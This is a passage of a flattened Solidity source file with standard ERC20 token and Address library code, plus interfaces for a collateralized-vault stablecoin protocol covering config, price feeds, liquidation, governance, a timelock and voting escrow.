* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
//
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
//
interface AggregatorV3Interface {
function decimals() external view returns (uint8);
function description() external view returns (string memory);
function version() external view returns (uint256);
function getRoundData(uint80 _roundId)
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
function latestRoundData()
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
}
//
interface IAccessController {
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
function grantRole(bytes32 role, address account) external;
function revokeRole(bytes32 role, address account) external;
function renounceRole(bytes32 role, address account) external;
function MANAGER_ROLE() external view returns (bytes32);
function MINTER_ROLE() external view returns (bytes32);
function hasRole(bytes32 role, address account) external view returns (bool);
function getRoleMemberCount(bytes32 role) external view returns (uint256);
function getRoleMember(bytes32 role, uint256 index) external view returns (address);
function getRoleAdmin(bytes32 role) external view returns (bytes32);
}
//
interface IConfigProvider {
struct CollateralConfig {
address collateralType;
uint256 debtLimit;
uint256 liquidationRatio;
uint256 minCollateralRatio;
uint256 borrowRate;
uint256 originationFee;
uint256 liquidationBonus;
uint256 liquidationFee;
}
event CollateralUpdated(
address indexed collateralType,
uint256 debtLimit,
uint256 liquidationRatio,
uint256 minCollateralRatio,
uint256 borrowRate,
uint256 originationFee,
uint256 liquidationBonus,
uint256 liquidationFee
);
event CollateralRemoved(address indexed collateralType);
function setCollateralConfig(
address _collateralType,
uint256 _debtLimit,
uint256 _liquidationRatio,
uint256 _minCollateralRatio,
uint256 _borrowRate,
uint256 _originationFee,
uint256 _liquidationBonus,
uint256 _liquidationFee
) external;
function removeCollateral(address _collateralType) external;
function setCollateralDebtLimit(address _collateralType, uint256 _debtLimit) external;
function setCollateralLiquidationRatio(address _collateralType, uint256 _liquidationRatio) external;
function setCollateralMinCollateralRatio(address _collateralType, uint256 _minCollateralRatio) external;
function setCollateralBorrowRate(address _collateralType, uint256 _borrowRate) external;
function setCollateralOriginationFee(address _collateralType, uint256 _originationFee) external;
function setCollateralLiquidationBonus(address _collateralType, uint256 _liquidationBonus) external;
function setCollateralLiquidationFee(address _collateralType, uint256 _liquidationFee) external;
function setMinVotingPeriod(uint256 _minVotingPeriod) external;
function setMaxVotingPeriod(uint256 _maxVotingPeriod) external;
function setVotingQuorum(uint256 _votingQuorum) external;
function setProposalThreshold(uint256 _proposalThreshold) external;
function a() external view returns (IAddressProvider);
function collateralConfigs(uint256 _id) external view returns (CollateralConfig memory);
function collateralIds(address _collateralType) external view returns (uint256);
function numCollateralConfigs() external view returns (uint256);
function minVotingPeriod() external view returns (uint256);
function maxVotingPeriod() external view returns (uint256);
function votingQuorum() external view returns (uint256);
function proposalThreshold() external view returns (uint256);
function collateralDebtLimit(address _collateralType) external view returns (uint256);
function collateralLiquidationRatio(address _collateralType) external view returns (uint256);
function collateralMinCollateralRatio(address _collateralType) external view returns (uint256);
function collateralBorrowRate(address _collateralType) external view returns (uint256);
function collateralOriginationFee(address _collateralType) external view returns (uint256);
function collateralLiquidationBonus(address _collateralType) external view returns (uint256);
function collateralLiquidationFee(address _collateralType) external view returns (uint256);
}
//
interface ISTABLEX is IERC20 {
function mint(address account, uint256 amount) external;
function burn(address account, uint256 amount) external;
function a() external view returns (IAddressProvider);
}
//
interface IPriceFeed {
event OracleUpdated(address indexed asset, address oracle, address sender);
event EurOracleUpdated(address oracle, address sender);
function setAssetOracle(address _asset, address _oracle) external;
function setEurOracle(address _oracle) external;
function a() external view returns (IAddressProvider);
function assetOracles(address _asset) external view returns (AggregatorV3Interface);
function eurOracle() external view returns (AggregatorV3Interface);
function getAssetPrice(address _asset) external view returns (uint256);
function convertFrom(address _asset, uint256 _amount) external view returns (uint256);
function convertTo(address _asset, uint256 _amount) external view returns (uint256);
}
//
interface IRatesManager {
function a() external view returns (IAddressProvider);
//current annualized borrow rate
function annualizedBorrowRate(uint256 _currentBorrowRate) external pure returns (uint256);
//uses current cumulative rate to calculate totalDebt based on baseDebt at time T0
function calculateDebt(uint256 _baseDebt, uint256 _cumulativeRate) external pure returns (uint256);
//uses current cumulative rate to calculate baseDebt at time T0
function calculateBaseDebt(uint256 _debt, uint256 _cumulativeRate) external pure returns (uint256);
//calculate a new cumulative rate
function calculateCumulativeRate(
uint256 _borrowRate,
uint256 _cumulativeRate,
uint256 _timeElapsed
) external view returns (uint256);
}
//
interface ILiquidationManager {
function a() external view returns (IAddressProvider);
function calculateHealthFactor(
uint256 _collateralValue,
uint256 _vaultDebt,
uint256 _minRatio
) external view returns (uint256 healthFactor);
function liquidationBonus(address _collateralType, uint256 _amount) external view returns (uint256 bonus);
function applyLiquidationDiscount(address _collateralType, uint256 _amount)
external
view
returns (uint256 discountedAmount);
function isHealthy(
uint256 _collateralValue,
uint256 _vaultDebt,
uint256 _minRatio
) external view returns (bool);
}
//
interface IVaultsDataProvider {
struct Vault {
// borrowedType support USDX / PAR
address collateralType;
address owner;
uint256 collateralBalance;
uint256 baseDebt;
uint256 createdAt;
}
//Write
function createVault(address _collateralType, address _owner) external returns (uint256);
function setCollateralBalance(uint256 _id, uint256 _balance) external;
function setBaseDebt(uint256 _id, uint256 _newBaseDebt) external;
// Read
function a() external view returns (IAddressProvider);
function baseDebt(address _collateralType) external view returns (uint256);
function vaultCount() external view returns (uint256);
function vaults(uint256 _id) external view returns (Vault memory);
function vaultOwner(uint256 _id) external view returns (address);
function vaultCollateralType(uint256 _id) external view returns (address);
function vaultCollateralBalance(uint256 _id) external view returns (uint256);
function vaultBaseDebt(uint256 _id) external view returns (uint256);
function vaultId(address _collateralType, address _owner) external view returns (uint256);
function vaultExists(uint256 _id) external view returns (bool);
function vaultDebt(uint256 _vaultId) external view returns (uint256);
function debt() external view returns (uint256);
function collateralDebt(address _collateralType) external view returns (uint256);
}
//
interface IFeeDistributor {
event PayeeAdded(address indexed account, uint256 shares);
event FeeReleased(uint256 income, uint256 releasedAt);
function release() external;
function changePayees(address[] memory _payees, uint256[] memory _shares) external;
function a() external view returns (IAddressProvider);
function lastReleasedAt() external view returns (uint256);
function getPayees() external view returns (address[] memory);
function totalShares() external view returns (uint256);
function shares(address payee) external view returns (uint256);
}
//
interface IAddressProvider {
function setAccessController(IAccessController _controller) external;
function setConfigProvider(IConfigProvider _config) external;
function setVaultsCore(IVaultsCore _core) external;
function setStableX(ISTABLEX _stablex) external;
function setRatesManager(IRatesManager _ratesManager) external;
function setPriceFeed(IPriceFeed _priceFeed) external;
function setLiquidationManager(ILiquidationManager _liquidationManager) external;
function setVaultsDataProvider(IVaultsDataProvider _vaultsData) external;
function setFeeDistributor(IFeeDistributor _feeDistributor) external;
function controller() external view returns (IAccessController);
function config() external view returns (IConfigProvider);
function core() external view returns (IVaultsCore);
function stablex() external view returns (ISTABLEX);
function ratesManager() external view returns (IRatesManager);
function priceFeed() external view returns (IPriceFeed);
function liquidationManager() external view returns (ILiquidationManager);
function vaultsData() external view returns (IVaultsDataProvider);
function feeDistributor() external view returns (IFeeDistributor);
}
//
interface IConfigProviderV1 {
struct CollateralConfig {
address collateralType;
uint256 debtLimit;
uint256 minCollateralRatio;
uint256 borrowRate;
uint256 originationFee;
}
event CollateralUpdated(
address indexed collateralType,
uint256 debtLimit,
uint256 minCollateralRatio,
uint256 borrowRate,
uint256 originationFee
);
event CollateralRemoved(address indexed collateralType);
function setCollateralConfig(
address _collateralType,
uint256 _debtLimit,
uint256 _minCollateralRatio,
uint256 _borrowRate,
uint256 _originationFee
) external;
function removeCollateral(address _collateralType) external;
function setCollateralDebtLimit(address _collateralType, uint256 _debtLimit) external;
function setCollateralMinCollateralRatio(address _collateralType, uint256 _minCollateralRatio) external;
function setCollateralBorrowRate(address _collateralType, uint256 _borrowRate) external;
function setCollateralOriginationFee(address _collateralType, uint256 _originationFee) external;
function setLiquidationBonus(uint256 _bonus) external;
function a() external view returns (IAddressProviderV1);
function collateralConfigs(uint256 _id) external view returns (CollateralConfig memory);
function collateralIds(address _collateralType) external view returns (uint256);
function numCollateralConfigs() external view returns (uint256);
function liquidationBonus() external view returns (uint256);
function collateralDebtLimit(address _collateralType) external view returns (uint256);
function collateralMinCollateralRatio(address _collateralType) external view returns (uint256);
function collateralBorrowRate(address _collateralType) external view returns (uint256);
function collateralOriginationFee(address _collateralType) external view returns (uint256);
}
//
interface ILiquidationManagerV1 {
function a() external view returns (IAddressProviderV1);
function calculateHealthFactor(
address _collateralType,
uint256 _collateralValue,
uint256 _vaultDebt
) external view returns (uint256 healthFactor);
function liquidationBonus(uint256 _amount) external view returns (uint256 bonus);
function applyLiquidationDiscount(uint256 _amount) external view returns (uint256 discountedAmount);
function isHealthy(
address _collateralType,
uint256 _collateralValue,
uint256 _vaultDebt
) external view returns (bool);
}
//
interface IVaultsCoreV1 {
event Opened(uint256 indexed vaultId, address indexed collateralType, address indexed owner);
event Deposited(uint256 indexed vaultId, uint256 amount, address indexed sender);
event Withdrawn(uint256 indexed vaultId, uint256 amount, address indexed sender);
event Borrowed(uint256 indexed vaultId, uint256 amount, address indexed sender);
event Repaid(uint256 indexed vaultId, uint256 amount, address indexed sender);
event Liquidated(
uint256 indexed vaultId,
uint256 debtRepaid,
uint256 collateralLiquidated,
address indexed owner,
address indexed sender
);
event CumulativeRateUpdated(address indexed collateralType, uint256 elapsedTime, uint256 newCumulativeRate); //cumulative interest rate from deployment time T0
event InsurancePaid(uint256 indexed vaultId, uint256 insuranceAmount, address indexed sender);
function deposit(address _collateralType, uint256 _amount) external;
function withdraw(uint256 _vaultId, uint256 _amount) external;
function withdrawAll(uint256 _vaultId) external;
function borrow(uint256 _vaultId, uint256 _amount) external;
function repayAll(uint256 _vaultId) external;
function repay(uint256 _vaultId, uint256 _amount) external;
function liquidate(uint256 _vaultId) external;
//Refresh
function initializeRates(address _collateralType) external;
function refresh() external;
function refreshCollateral(address collateralType) external;
//upgrade
function upgrade(address _newVaultsCore) external;
//Read only
function a() external view returns (IAddressProviderV1);
function availableIncome() external view returns (uint256);
function cumulativeRates(address _collateralType) external view returns (uint256);
function lastRefresh(address _collateralType) external view returns (uint256);
}
//
interface IWETH {
function deposit() external payable;
function transfer(address to, uint256 value) external returns (bool);
function withdraw(uint256 wad) external;
}
//
interface IGovernorAlpha {
/// @notice Possible states that a proposal may be in
enum ProposalState {
Active,
Canceled,
Defeated,
Succeeded,
Queued,
Expired,
Executed
}
struct Proposal {
// Unique id for looking up a proposal
uint256 id;
// Creator of the proposal
address proposer;
// The timestamp that the proposal will be available for execution, set once the vote succeeds
uint256 eta;
// the ordered list of target addresses for calls to be made
address[] targets;
// The ordered list of values (i.e. msg.value) to be passed to the calls to be made
uint256[] values;
// The ordered list of function signatures to be called
string[] signatures;
// The ordered list of calldata to be passed to each call
bytes[] calldatas;
// The timestamp at which voting begins: holders must delegate their votes prior to this timestamp
uint256 startTime;
// The timestamp at which voting ends: votes must be cast prior to this timestamp
uint endTime;
// Current number of votes in favor of this proposal
uint256 forVotes;
// Current number of votes in opposition to this proposal
uint256 againstVotes;
// Flag marking whether the proposal has been canceled
bool canceled;
// Flag marking whether the proposal has been executed
bool executed;
// Receipts of ballots for the entire set of voters
mapping (address => Receipt) receipts;
}
/// @notice Ballot receipt record for a voter
struct Receipt {
// Whether or not a vote has been cast
bool hasVoted;
// Whether or not the voter supports the proposal
bool support;
// The number of votes the voter had, which were cast
uint votes;
}
/// @notice An event emitted when a new proposal is created
event ProposalCreated(uint256 id, address proposer, address[] targets, uint256[] values, string[] signatures, bytes[] calldatas, uint startTime, uint endTime, string description);
/// @notice An event emitted when a vote has been cast on a proposal
event VoteCast(address voter, uint256 proposalId, bool support, uint256 votes);
/// @notice An event emitted when a proposal has been canceled
event ProposalCanceled(uint256 id);
/// @notice An event emitted when a proposal has been queued in the Timelock
event ProposalQueued(uint256 id, uint256 eta);
/// @notice An event emitted when a proposal has been executed in the Timelock
event ProposalExecuted(uint256 id);
function propose(address[] memory targets, uint256[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description, uint256 endTime) external returns (uint);
function queue(uint256 proposalId) external;
function execute(uint256 proposalId) external payable;
function cancel(uint256 proposalId) external;
function castVote(uint256 proposalId, bool support) external;
function getActions(uint256 proposalId) external view returns (address[] memory targets, uint256[] memory values, string[] memory signatures, bytes[] memory calldatas);
function getReceipt(uint256 proposalId, address voter) external view returns (Receipt memory);
function state(uint proposalId) external view returns (ProposalState);
function quorumVotes() external view returns (uint256);
function proposalThreshold() external view returns (uint256);
}
//
interface ITimelock {
event NewAdmin(address indexed newAdmin);
event NewPendingAdmin(address indexed newPendingAdmin);
event NewDelay(uint256 indexed newDelay);
event CancelTransaction(
bytes32 indexed txHash,
address indexed target,
uint256 value,
string signature,
bytes data,
uint256 eta
);
event ExecuteTransaction(
bytes32 indexed txHash,
address indexed target,
uint256 value,
string signature,
bytes data,
uint256 eta
);
event QueueTransaction(
bytes32 indexed txHash,
address indexed target,
uint256 value,
string signature,
bytes data,
uint256 eta
);
function acceptAdmin() external;
function queueTransaction(
address target,
uint256 value,
string calldata signature,
bytes calldata data,
uint256 eta
) external returns (bytes32);
function cancelTransaction(
address target,
uint256 value,
string calldata signature,
bytes calldata data,
uint256 eta
) external;
function executeTransaction(
address target,
uint256 value,
string calldata signature,
bytes calldata data,
uint256 eta
) external payable returns (bytes memory);
function delay() external view returns (uint256);
function GRACE_PERIOD() external view returns (uint256);
function queuedTransactions(bytes32 hash) external view returns (bool);
}
//
interface IVotingEscrow {
enum LockAction { CREATE_LOCK, INCREASE_LOCK_AMOUNT, INCREASE_LOCK_TIME }
struct LockedBalance {
uint256 amount;
uint256 end;
}
/** Shared Events */
event Deposit(address indexed provider, uint256 value, uint256 locktime, LockAction indexed action, uint256 ts);
event Withdraw(address indexed provider, uint256 value, uint256 ts);
event Expired();
function createLock(uint256 _value, uint256 _unlockTime) external;
function increaseLockAmount(uint256 _value) external;
function increaseLockLength(uint256 _unlockTime) external;
function withdraw() external;
function expireContract() external;
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint256);
function balanceOf(address _owner) external view returns (uint256);
function balanceOfAt(address _owner, uint256 _blockTime) external view returns (uint256);
function stakingToken() external view returns (IERC20);
}
//
interface IMIMO is IERC20 {
function burn(address account, uint256 amount) external;
function mint(address account, uint256 amount) external;
}
//
interface ISupplyMiner {
function baseDebtChanged(address user, uint256 newBaseDebt) external;
}
//
interface IDebtNotifier {
function debtChanged(uint256 _vaultId) external;
function setCollateralSupplyMiner(address collateral, ISupplyMiner supplyMiner) external;
function a() external view returns (IGovernanceAddressProvider);
function collateralSupplyMinerMapping(address collateral) external view returns (ISupplyMiner);
}
//
interface IGovernanceAddressProvider {
function setParallelAddressProvider(IAddressProvider _parallel) external;
function setMIMO(IMIMO _mimo) external;
function setDebtNotifier(IDebtNotifier _debtNotifier) external;
function setGovernorAlpha(IGovernorAlpha _governorAlpha) external;
function setTimelock(ITimelock _timelock) external;
function setVotingEscrow(IVotingEscrow _votingEscrow) external;
function controller() external view returns (IAccessController);
function parallel() external view returns (IAddressProvider);
function mimo() external view returns (IMIMO);
function debtNotifier() external view returns (IDebtNotifier);
function governorAlpha() external view returns (IGovernorAlpha);
function timelock() external view returns (ITimelock);
function votingEscrow() external view returns (IVotingEscrow);
}
//
interface IVaultsCore {
event Opened(uint256 indexed vaultId, address indexed collateralType, address indexed owner);
event Deposited(uint256 indexed vaultId, uint256 amount, address indexed sender);
event Withdrawn(uint256 indexed vaultId, uint256 amount, address indexed sender);
event Borrowed(uint256 indexed vaultId, uint256 amount, address indexed sender);
event Repaid(uint256 indexed vaultId, uint256 amount, address indexed sender);
event Liquidated(
uint256 indexed vaultId,
uint256 debtRepaid,
uint256 collateralLiquidated,
address indexed owner,
address indexed sender
);
event InsurancePaid(uint256 indexed vaultId, uint256 insuranceAmount, address indexed sender);
function deposit(address _collateralType, uint256 _amount) external;
function depositETH() external payable;
function depositByVaultId(uint256 _vaultId, uint256 _amount) external;
function depositETHByVaultId(uint256 _vaultId) external payable;
function depositAndBorrow(
address _collateralType,
uint256 _depositAmount,
uint256 _borrowAmount
) external;
function depositETHAndBorrow(uint256 _borrowAmount) external payable;
function withdraw(uint256 _vaultId, uint256 _amount) external;
function withdrawETH(uint256 _vaultId, uint256 _amount) external;
function borrow(uint256 _vaultId, uint256 _amount) external;
function repayAll(uint256 _vaultId) external;
function repay(uint256 _vaultId, uint256 _amount) external;
function liquidate(uint256 _vaultId) external;
function liquidatePartial(uint256 _vaultId, uint256 _amount) external;
function upgrade(address payable _newVaultsCore) external;
function acceptUpgrade(address payable _oldVaultsCore) external;
function setDebtNotifier(IDebtNotifier _debtNotifier) external;
//Read only
function a() external view returns (IAddressProvider);
function WETH() external view returns (IWETH);
function debtNotifier() external view returns (IDebtNotifier);
function state() external view returns (IVaultsCoreState);
function cumulativeRates(address _collateralType) external view returns (uint256);
}
//
interface IAddressProviderV1 {
function setAccessController(IAccessController _controller) external;
function setConfigProvider(IConfigProviderV1 _config) external;
function setVaultsCore(IVaultsCoreV1 _core) external;
function setStableX(ISTABLEX _stablex) external;
function setRatesManager(IRatesManager _ratesManager) external;
function setPriceFeed(IPriceFeed _priceFeed) external;
function setLiquidationManager(ILiquidationManagerV1 _liquidationManager) external;
function setVaultsDataProvider(IVaultsDataProvider _vaultsData) external;
